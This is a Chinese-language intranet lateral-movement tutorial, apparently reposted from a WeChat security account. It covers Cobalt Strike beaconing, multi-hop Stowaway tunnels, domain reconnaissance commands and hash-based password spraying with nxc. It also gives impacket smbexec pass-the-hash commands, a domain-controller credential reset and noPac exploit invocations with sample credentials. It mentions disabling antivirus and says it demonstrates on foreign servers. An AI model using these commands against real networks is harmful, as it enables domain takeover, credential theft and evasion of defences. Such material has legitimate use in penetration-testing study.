本文以国外内网环境与本地内网靶机环境来进行window横向教学。
先上线cs进行控制,可以通过远程下载exe上线,或者web投递上线
根据目标是否出网可使用不同的隧道,出网可用反向隧道,不出网可用正向隧道。
可以使用frp,nps,Stowaway等工具,这里以Stowaway工具演示
服务端a执行命令./linux_x64_admin -l 5555 -s 7777
被控端b上传windows_x64_agent.exe,执行命令
windows_x64_agent.exe -c 192.168.21.128:5555 -s 7777 --reconnect 10,-c为服务端的ip与端口,-s与服务端相同
环境:网段 192.168.2.x 192.168.3.x 192.168.21.x
被控机b连接(192.168.2.x,192.168.21.x)
use 0
socks 7788
成功搭好被控机b网段的隧道
(被控机c网段)这台服务器只有192.168.2x,192.168.3.x,现在搭建隧道连接到192.168.21.x
use 0
listen
输入1
输入监听端口7732
被控机c执行命令,192.168.2.11为被控机b的ip,-s为密钥,要与服务端a一致
back
detail
use 1
socks 6677
再次设置代理服务器, 以及代理规则,此时多级隧道已搭好
本机连接目标的sou5文件,再通过Proxifier连接隧道
以国外的服务器演示,实际中administrator权限已经可以不用提了,权限够用了。
也可通过cs查看进程,挑选高权限的进行令牌注入,进程窃取
ipconfig 查看ip
arp -a 查看路由表
systeminfo 查看系统信息
type C:WindowsSystem32driversetchosts 查看host,有没有其他网段
net time /domain 查看当前域
net view /domain 查看当前域
nltest /domain_trusts 判断单域多域
setspn -q */* 查看域spn信息
net group "Domain Computers" /domain 查看域组成员
(可以翻一翻服务器的配置文件,看看有没有数据库账号密码,如果服务器有浏览器,xshell,todesk等软件,也可以使用工具收集密码,例如使用Pillager,searchall等)
通过net time /domain,得知域控信息
可以使用工具fscan,Template,qscan等
net user /domain,查看域用户名信息
将密码和用户名写成字典进行密码喷洒,可以使用nxc,CrackMapExec工具进行密码喷洒,其中CrackMapExec在kali上自带。
以nxc演示,将抓取到的用户名和hash密码保存txt进行喷洒,这里使用的是smb,也可以使用其他协议进行喷洒
nxc.exe smb 192.168.2.21/24 -u user.txt -H pass.txt
使用impacket工具,获取192.168.2.5域控权限,
python smbexec.py -hashes :哈希密码 域名/账号@ip
或者:python smbexec.py 域名/账号:明文密码@ip,
通过spn扫描可知开启了exchang服务,0day.org为域名
命令:powershell setspn -T 0day.org -q /
获取计算机名,net group "domain controllers" /domain或者net time /domain
连接DC清空凭证:OWA2010CN-GOD为域控地址,3.21为域控ip
获取域内HASH(使用空密码连接):使用imp套件工具“域控/主机名@域控ip”
前提条件:一个域内普通账号(需要明文密码),相对于刚才的漏洞多了一个条件
影响版本:Windows基本全系列只能打域
god.org/webadmin:admin!@#45(域名/获取到的域用户账号/域用户密码) 192.168.3.21为目标ip
python.exe scanner.py -use-ldap "god.org/webadmin:admin!@#45" -dc-ip 192.168.3.21
python.exe noPac.py -use-ldap "god.org/webadmin:admin!@#45" -dc-ip 192.168.3.21 -shell
远控工具可以使用rustdesk,gotohttp,通过远程连接到桌面,关闭杀软也可以的。
运行后生成gotohttp.ini,查看文件信息,直接连接即可
原文始发于微信公众号(有恒安全):一文学会内网横向
评论